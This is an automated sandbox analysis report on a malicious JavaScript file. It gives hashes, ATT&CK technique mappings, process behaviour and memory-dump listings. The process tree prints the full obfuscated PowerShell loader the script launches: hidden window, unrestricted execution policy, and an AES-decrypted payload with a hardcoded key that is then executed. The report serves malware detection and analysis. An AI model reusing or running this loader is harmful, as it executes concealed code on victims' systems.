35c1eb5ff8913c4ca4feb712e05354772146247bdb4b337868c687730f201023

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05-02-2025 12:39

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General

Target

__i_2025__30343667.js
Size

16KB
MD5

176c3de6c4a1ac5c34b6d6be54fca774
SHA1

73efc19941b9341f7735a616888b4f306b4815eb
SHA256

35c1eb5ff8913c4ca4feb712e05354772146247bdb4b337868c687730f201023
SHA512

fa72ece6c653565da20dfa3a530b5a5b537e84675fba4f86ac3429aac075951838e31e6b968ee9c493ea3663b1eafa5f0076e6e445b04415258f1409910c3789
SSDEEP

384:kmEPupCtEbRpMDRttoR/eRQRnR0YmRrVBhrpOJ9/awXJ1XIHN1w2/tptXvERR7FM:kmEPupCtEbRpMDRttoR/eRQRnR0YmRrr

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2708	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2788 wrote to memory of 2708	2788	wscript.exe	30
PID 2788 wrote to memory of 2708	2788	wscript.exe	30
PID 2788 wrote to memory of 2708	2788	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\__i_2025__30343667.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function aworhDFA($DBXH){-split($DBXH -replace '..', '0x$& ')};$fALc=aworhDFA('EED9B197D54DA6B92EB15CC03B6D445E27AD607169CBA361AA91D9402EDBC0C59EC498856B0060A6651C9C59FE14940CA5E92DDC0500A4AF1EC5A5176CCFB7633437BE8F8C27CFB2519140315EEF0F35B22F050FD11A56C2661CC2C936E15E40F0D77BE011A826A380FD9283DA89508ECAA4BFC478B7B2FF3378F47B1785BD6BEE2C611511611D0838DB78AE5A10E3AE41CB337DC7C678D511D469F5DDFC3BD23CD16C73FF9683485A7A769386476C80BA6EF39FB9F50ACFCBA61E3A07C66B9B177FC3E3B90BA283B109B05AB08640572345230FCF45582958002D491D707CAD30F8174D9906702B2A074754CC3CCD660423AF0674172F1E5BD9F0C147DBAA46C4B54D9674F6C5D519B6EBF733A9180104DB077C85E6CA99483071D62BED6074273D89E196FA0590FA319E661A51C38CEC9E5EEF90D255E29B0EE1A3EC742AB27B6CB96EA153F362E4FE0258DD1BBE74952CD44BB888325B2DE507E129C2F15315E099048EE6FB3499FAE653F423716E464961321B5F39873241233B8DA0CBCD49A7EBA7BA500594C5E9A89C2A4E423F959C2CDCE53334EF939E066695907C914CA8C53111E72D9E3E5FA4A1CDBBA6E9E0E5F4DC8B185A47AA2D54ACC70BB307740CAB75FF143AACC56A265375DB30FAE661837CF21D6F7B734DA9F1B6ED5B57');$GUBnhtMFt=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((aworhDFA('686B714850464741614A776B46717654')),[byte[]]::new(16)).TransformFinalBlock($fALc,0,$fALc.Length)); & $GUBnhtMFt.Substring(0,3) $GUBnhtMFt.Substring(82)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2708-4-0x000007FEF5D8E000-0x000007FEF5D8F000-memory.dmp

Filesize
4KB

Download
memory/2708-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2708-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2708-8-0x000007FEF5AD0000-0x000007FEF646D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-7-0x000007FEF5AD0000-0x000007FEF646D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-9-0x000007FEF5AD0000-0x000007FEF646D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-10-0x000007FEF5AD0000-0x000007FEF646D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-11-0x000007FEF5AD0000-0x000007FEF646D000-memory.dmp

Filesize
9.6MB

Download